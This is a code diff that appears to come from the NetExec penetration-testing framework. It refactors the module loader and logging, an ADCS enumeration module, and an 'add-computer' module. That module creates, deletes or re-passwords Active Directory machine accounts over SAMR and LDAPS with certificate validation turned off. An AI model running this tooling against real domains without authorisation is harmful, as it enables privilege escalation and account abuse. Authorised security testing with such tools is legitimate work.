@@ -30,15 +31,12 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
|
||||
self.logger.fail(f"{module_path} missing the category variable or invalid category")
|
||||
module_error = True
|
||||
elif not hasattr(module, "supported_protocols"):
|
||||
self.logger.fail(f"{module_path} missing the supported_protocols variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "opsec_safe"):
|
||||
self.logger.fail(f"{module_path} missing the opsec_safe variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "multiple_hosts"):
|
||||
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.fail(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
@@ -46,9 +44,7 @@ class ModuleLoader:
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
|
||||
if module_error:
|
||||
return False
|
||||
return True
|
||||
return not module_error
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
@@ -100,8 +96,7 @@ class ModuleLoader:
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
"category": module_spec.category,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,14 +2,12 @@ from types import ModuleType
|
||||
from importlib.machinery import SourceFileLoader
|
||||
from os import listdir
|
||||
from os.path import join as path_join
|
||||
from os.path import dirname, exists, expanduser
|
||||
from os.path import dirname, exists
|
||||
|
||||
import nxc
|
||||
|
||||
|
||||
class ProtocolLoader:
|
||||
def __init__(self):
|
||||
self.nxc_path = expanduser("~/.nxc")
|
||||
|
||||
def load_protocol(self, protocol_path):
|
||||
loader = SourceFileLoader("protocol", protocol_path)
|
||||
protocol = ModuleType(loader.name)
|
||||
@@ -18,27 +16,22 @@ class ProtocolLoader:
|
||||
|
||||
def get_protocols(self):
|
||||
protocols = {}
|
||||
protocol_paths = [
|
||||
path_join(dirname(nxc.__file__), "protocols"),
|
||||
path_join(self.nxc_path, "protocols"),
|
||||
]
|
||||
|
||||
for path in protocol_paths:
|
||||
for protocol in listdir(path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
proto_path = path_join(dirname(nxc.__file__), "protocols")
|
||||
for protocol in listdir(proto_path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(proto_path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = path_join(path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
|
||||
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
if exists(protocol_args_path):
|
||||
protocols[protocol_name]["argspath"] = protocol_args_path
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = path_join(proto_path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
|
||||
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
if exists(protocol_args_path):
|
||||
protocols[protocol_name]["argspath"] = protocol_args_path
|
||||
return protocols
|
||||
+35
-40
@@ -3,8 +3,8 @@ from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
@@ -21,47 +21,47 @@ def parse_debug_args():
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
@@ -71,7 +71,7 @@ def no_debug(func):
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
@@ -80,7 +80,7 @@ def no_debug(func):
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
def __init__(self, extra=None):
|
||||
def __init__(self, extra=None, merge_extra=False):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
@@ -89,19 +89,26 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
encoding="utf-8"
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.merge_extra = merge_extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("certipy").disabled = True
|
||||
logging.getLogger("aardwolf").disabled = True
|
||||
logging.getLogger("unicrypto").disabled = True
|
||||
logging.getLogger("asyncio").setLevel(logging.ERROR)
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
logging.getLogger("pypsrp").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""Format msg for output
|
||||
|
||||
This is used instead of process() since process() applies to _all_ messages, including debug calls
|
||||
@@ -116,10 +123,6 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
@@ -163,29 +166,34 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
caller_frame = inspect.currentframe().f_back.f_back.f_back
|
||||
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
try:
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
except FileNotFoundError:
|
||||
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
|
||||
exit(1)
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
else:
|
||||
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
|
||||
file_handler.setFormatter(file_formatter)
|
||||
self.logger.addHandler(file_handler)
|
||||
@@ -193,27 +201,14 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
os.makedirs(newpath, exist_ok=True)
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
NXC_PATH,
|
||||
"logs",
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
def format(self, record): # noqa: A003
|
||||
escape_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
record.msg = re.sub(escape_re, "", str(record.msg))
|
||||
return super().format(record)
|
||||
|
||||
|
||||
# initialize the logger for all of nxc - this is imported everywhere
|
||||
|
||||
+10
-7
@@ -1,6 +1,7 @@
|
||||
import re
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,8 +14,7 @@ class NXCModule:
|
||||
name = "adcs"
|
||||
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -27,7 +27,7 @@ class NXCModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
"""
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
self.regex = re.compile(r"(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
self.base_dn = None
|
||||
@@ -49,10 +49,10 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
if self.server is None:
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=[],
|
||||
sizeLimit=0,
|
||||
@@ -61,7 +61,7 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
else:
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=search_filter + base_dn_root + ")",
|
||||
attributes=["certificateTemplates"],
|
||||
sizeLimit=0,
|
||||
@@ -70,7 +70,10 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
if "noSuchObject" in str(e):
|
||||
context.log.fail("No ADCS infrastructure found.")
|
||||
else:
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
|
||||
def process_servers(self, item):
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
|
||||
|
||||
+101
-133
@@ -3,11 +3,13 @@ import ldap3
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Initial module:
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
"""
|
||||
@@ -15,8 +17,7 @@ class NXCModule:
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -29,9 +30,6 @@ class NXCModule:
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
"""
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
@@ -60,50 +58,32 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
self.__nthash = connection.nthash
|
||||
self.__lmhash = connection.lmhash
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.do_samr_add(context)
|
||||
self.do_samr_add()
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
self.do_ldaps_add()
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
|
||||
Args:
|
||||
----
|
||||
context (object): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
def do_samr_add(self):
|
||||
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
@@ -122,39 +102,41 @@ class NXCModule:
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
# Get the list of domains
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
context.log.highlight("Available domain(s):")
|
||||
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
|
||||
self.context.log.fail("Available domain(s):")
|
||||
for domain in domains:
|
||||
context.log.highlight(f" * {domain['Name']}")
|
||||
self.context.log.fail(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
|
||||
domain_sid = samr_lookup_domain_response["DomainId"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
|
||||
|
||||
context.log.debug(f"Opening domain {selected_domain}...")
|
||||
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
|
||||
domain_handle = samr_open_domain_response["DomainHandle"]
|
||||
self.context.log.debug(f"Opening domain {selected_domain}...")
|
||||
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
|
||||
|
||||
# Get handle for existing computer account
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
@@ -162,72 +144,68 @@ class NXCModule:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
|
||||
self.context.log.debug(f"samrOpenUser failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
# Add computer account
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
else:
|
||||
found_unused = False
|
||||
while not found_unused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
found_unused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
create_user = samr.hSamrCreateUser2InDomain(
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
|
||||
if "STATUS_NONE_MAPPED" not in str(e):
|
||||
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
try:
|
||||
user_handle = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)
|
||||
)["UserHandle"]
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
|
||||
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
elif e.error_code == 0xC00002E7:
|
||||
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
context.log.exception(e)
|
||||
user_handle = create_user["UserHandle"]
|
||||
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
|
||||
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
|
||||
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
|
||||
return
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
|
||||
self.noLDAPRequired = True
|
||||
user_handle = None
|
||||
|
||||
# Removing the machine account in the DB
|
||||
user = self.context.db.get_user(self.__domain, self.__computerName)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
@@ -238,64 +216,54 @@ class NXCModule:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
dce.disconnect()
|
||||
|
||||
def do_ldaps_add(self, connection, context):
|
||||
"""
|
||||
Performs an LDAPS add operation.
|
||||
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
|
||||
|
||||
Args:
|
||||
----
|
||||
connection (Connection): The LDAP connection object.
|
||||
context (Context): The context object.
|
||||
def do_ldaps_add(self):
|
||||
"""Performs an LDAPS add operation."""
|
||||
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
None
|
||||
"""
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
f"HOST/{self.__computerName}",
|
||||
f"HOST/{self.__computerName}.{connection.domain}",
|
||||
f"RestrictedKrbHost/{self.__computerName}",
|
||||
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
|
||||
]
|
||||
ucd = {
|
||||
"dnsHostName": f"{self.__computerName}.{connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.__computerName,
|
||||
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
